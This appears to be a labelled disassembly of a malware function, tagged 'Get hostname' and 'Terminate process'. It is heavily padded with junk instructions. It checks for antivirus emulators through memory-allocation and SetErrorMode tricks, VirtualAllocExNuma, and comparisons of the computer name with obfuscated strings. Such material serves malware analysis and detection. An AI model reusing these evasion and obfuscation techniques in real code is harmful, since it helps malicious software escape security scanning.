Function at 0x652319
Capabilities:
Get hostname
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
push edx
push ecx
pop ecx
pop edx
push edx
pop edx
push 0x6400000
call dword [sym.imp.msvcrt.dll_malloc]
add esp, 4
pushfd
push esi
add esp, 4
popfd
test eax, eax
push eax
push ebx
pop ebx
pop eax
mov eax, eax
je 0x653016
pushfd
inc ecx
dec ecx
popfd
pushfd
push ebx
add esp, 4
popfd
mov dword [ebp - 0x41c], eax
push ebx
push edx
pop edx
pop ebx
push 0x6400000
push 0
push dword [ebp - 0x41c]
call dword [sym.imp.msvcrt.dll_memset]
add esp, 0xc
pushfd
push 0x8f10c909
add esp, 4
popfd
nop
push dword [ebp - 0x41c]
call dword [sym.imp.msvcrt.dll_free]
add esp, 4
xchg edx, edx
push edi
push ebx
pop ebx
pop edi
push 0x400
call dword [sym.imp.kernel32.dll_SetErrorMode]
pushfd
inc esi
dec esi
popfd
push 0
call dword [sym.imp.kernel32.dll_SetErrorMode]
pushfd
inc ecx
dec ecx
popfd
push edi
push esi
pop esi
pop edi
cmp eax, 0x400
mov esi, esi
pushfd
xor edx, 0x54ff274d
xor edx, 0x54ff274d
popfd
jne 0x653016
pushfd
inc edi
dec edi
popfd
xchg edx, ecx
xchg ecx, edx
push 0
push 4
push 0x3000
push 0x3e8
push 0
push 0xffffffffffffffff
call dword [sym.imp.kernel32.dll_VirtualAllocExNuma]
pushfd
push ecx
add esp, 4
popfd
test eax, eax
pushfd
push 0xaa42f19c
add esp, 4
popfd
je 0x653016
pushfd
push 0xaf93781a
add esp, 4
popfd
mov dword [ebp - 0x20e], 0x104
push ecx
pop ecx
lea eax, [ebp - 0x313]
pushfd
push 0xdc58c472
add esp, 4
popfd
xchg edi, esi
xchg esi, edi
lea ebx, [ebp - 0x20e]
nop
push ebx
push eax
call dword [sym.imp.kernel32.dll_GetComputerNameA]
nop
test eax, eax
pushfd
inc edi
dec edi
popfd
je 0x652793
pushfd
push 0x153c3969
add esp, 4
popfd
pushfd
push eax
add esp, 4
popfd
lea eax, [ebp - 0x418]
pushfd
xor edx, 0xa6f8ca15
xor edx, 0xa6f8ca15
popfd
mov ebx, 0x61
pushfd
push 0xda3c0516
add esp, 4
popfd
pushfd
xor ebx, 0xb8838aeb
xor ebx, 0xb8838aeb
popfd
sub bl, 0x13
push esi
push ebx
pop ebx
pop esi
pushfd
push ebx
add esp, 4
popfd
mov byte [eax], bl
pushfd
push 0xfbfff99b
add esp, 4
popfd
add bl, 0x18
pushfd
xor edx, 0xf0ab041
xor edx, 0xf0ab041
popfd
mov byte [eax + 1], bl
mov esi, esi
xchg ebx, ebx
sub bl, 0xc
pushfd
xor edx, 0x135be3a6
xor edx, 0x135be3a6
popfd
mov byte [eax + 2], bl
pushfd
push ebx
add esp, 4
popfd
push eax
push esi
pop esi
pop eax
add bl, 0x1a
pushfd
xor eax, 0x9e06316d
xor eax, 0x9e06316d
popfd
mov byte [eax + 3], bl
xchg ecx, ecx
sub bl, 0x2e
push edx
push ebx
pop ebx
pop edx
mov byte [eax + 4], bl
pushfd
inc edx
dec edx
popfd
add bl, 0x1c
push esi
push edx
pop edx
pop esi
xchg ecx, edx
xchg edx, ecx
mov byte [eax + 5], bl
push edi
pop edi
sub bl, 0x12
mov edx, edx
mov byte [eax + 6], bl
push ebx
pop ebx
add bl, 0x16
pushfd
xor ebx, 0x9d035a82
xor ebx, 0x9d035a82
popfd
pushfd
inc ecx
dec ecx
popfd
mov byte [eax + 7], bl
pushfd
push 0xf906f627
add esp, 4
popfd
xchg edx, edx
sub bl, 0x1e
pushfd
push 0x7c7b8fed
add esp, 4
popfd
pushfd
inc edi
dec edi
popfd
mov byte [eax + 8], bl
nop
push edi
push ebx
pop ebx
pop edi
mov byte [eax + 9], 0
pushfd
push 0x2f295103
add esp, 4
popfd
lea ebx, [ebp - 0x313]
xchg ebx, edx
xchg edx, ebx
xchg edx, edx
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
push edi
push esi
pop esi
pop edi
test eax, eax
pushfd
push 0xf1310e66
add esp, 4
popfd
je 0x653016
nop
lea eax, [ebp - 0x418]
mov esi, esi
pushfd
inc ebx
dec ebx
popfd
mov ebx, 0x61
pushfd
xor ecx, 0xc6c868e
xor ecx, 0xc6c868e
popfd
sub bl, 0x1c
xchg edx, eax
xchg edx, eax
mov byte [eax], bl
pushfd
push 0x1d5ded43
add esp, 4
popfd
pushfd
push 0x30d48b5b
add esp, 4
popfd
add bl, 7
pushfd
push edi
add esp, 4
popfd
mov byte [eax + 1], bl
xchg ecx, edi
xchg edi, ecx
sub bl, 3
xchg ecx, eax
xchg ecx, eax
mov byte [eax + 2], bl
mov edx, edx
sub bl, 6
mov edx, edx
mov byte [eax + 3], bl
mov eax, eax
add bl, 0x17
pushfd
xor ebx, 0x61fb19dd
xor ebx, 0x61fb19dd
popfd
nop
mov byte [eax + 4], bl
pushfd
push edi
add esp, 4
popfd
pushfd
inc ebx
dec ebx
popfd
mov byte [eax + 5], 0
pushfd
push eax
add esp, 4
popfd
pushfd
push 0x373f2012
add esp, 4
popfd
lea ebx, [ebp - 0x313]
mov esi, esi
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
pushfd
inc edi
dec edi
popfd
test eax, eax
pushfd
xor ebx, 0xddb2c5e9
xor ebx, 0xddb2c5e9
popfd
je 0x653016
pushfd
inc eax
dec eax
popfd
lea eax, [ebp - 0x418]
push edx
pop edx
xchg esi, esi
mov ebx, 0x61
xchg ecx, esi
xchg esi, ecx
mov eax, eax
add bl, 0x13
pushfd
push ecx
add esp, 4
popfd
mov byte [eax], bl
pushfd
push 0x69cf764c
add esp, 4
popfd
push esi
push eax
pop eax
pop esi
add bl, 6
xchg ecx, eax
xchg ecx, eax
pushfd
inc ecx
dec ecx
popfd
mov byte [eax + 1], bl
pushfd
push ebx
add esp, 4
popfd
mov ebx, ebx
mov byte [eax + 2], 0
push edi
pop edi
lea ebx, [ebp - 0x313]
pushfd
inc edx
dec edx
popfd
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]
add esp, 8
pushfd
inc esi
dec esi
popfd
pushfd
push 0x7152196a
add esp, 4
popfd
test eax, eax
mov edi, edi
xchg esi, eax
xchg esi, eax
je 0x653016
xchg edi, edx
xchg edx, edi
lea eax, [ebp - 0x418]
pushfd
xor edi, 0xaca4fe6
xor edi, 0xaca4fe6
popfd
mov ebx, 0x61
pushfd
inc ebx
dec ebx
popfd
xchg ecx, esi
xchg esi, ecx
sub bl, 0x14
pushfd
push ebx
add esp, 4
popfd
pushfd
push 0x10ad593
add esp, 4
popfd
mov byte [eax], bl
pushfd
push 0x1580c12f
add esp, 4
popfd
pushfd
push 0x1a83cce6
add esp, 4
popfd
sub bl, 0xc
pushfd
push 0x39a12db0
add esp, 4
popfd
mov byte [eax + 1], bl
push edx
pop edx
add bl, 8
pushfd
push esi
add esp, 4
popfd
pushfd
push eax
add esp, 4
popfd
mov byte [eax + 2], bl
push edi
push edx
pop edx
pop edi
add bl, 5
mov ecx, ecx
push edx
push ebx
pop ebx
pop edx
mov byte [eax + 3], bl
push edi
push eax
pop eax
pop edi
pushfd
push 0x4b3ecc60
add esp, 4
popfd
mov byte [eax + 4], 0
xchg ebx, ebx
push edx
push ebx
pop ebx
pop edx
lea ebx, [ebp - 0x313]
push eax
pop eax
push ebx
push eax
call dword [sym.imp.msvcrt.dll_strcmp]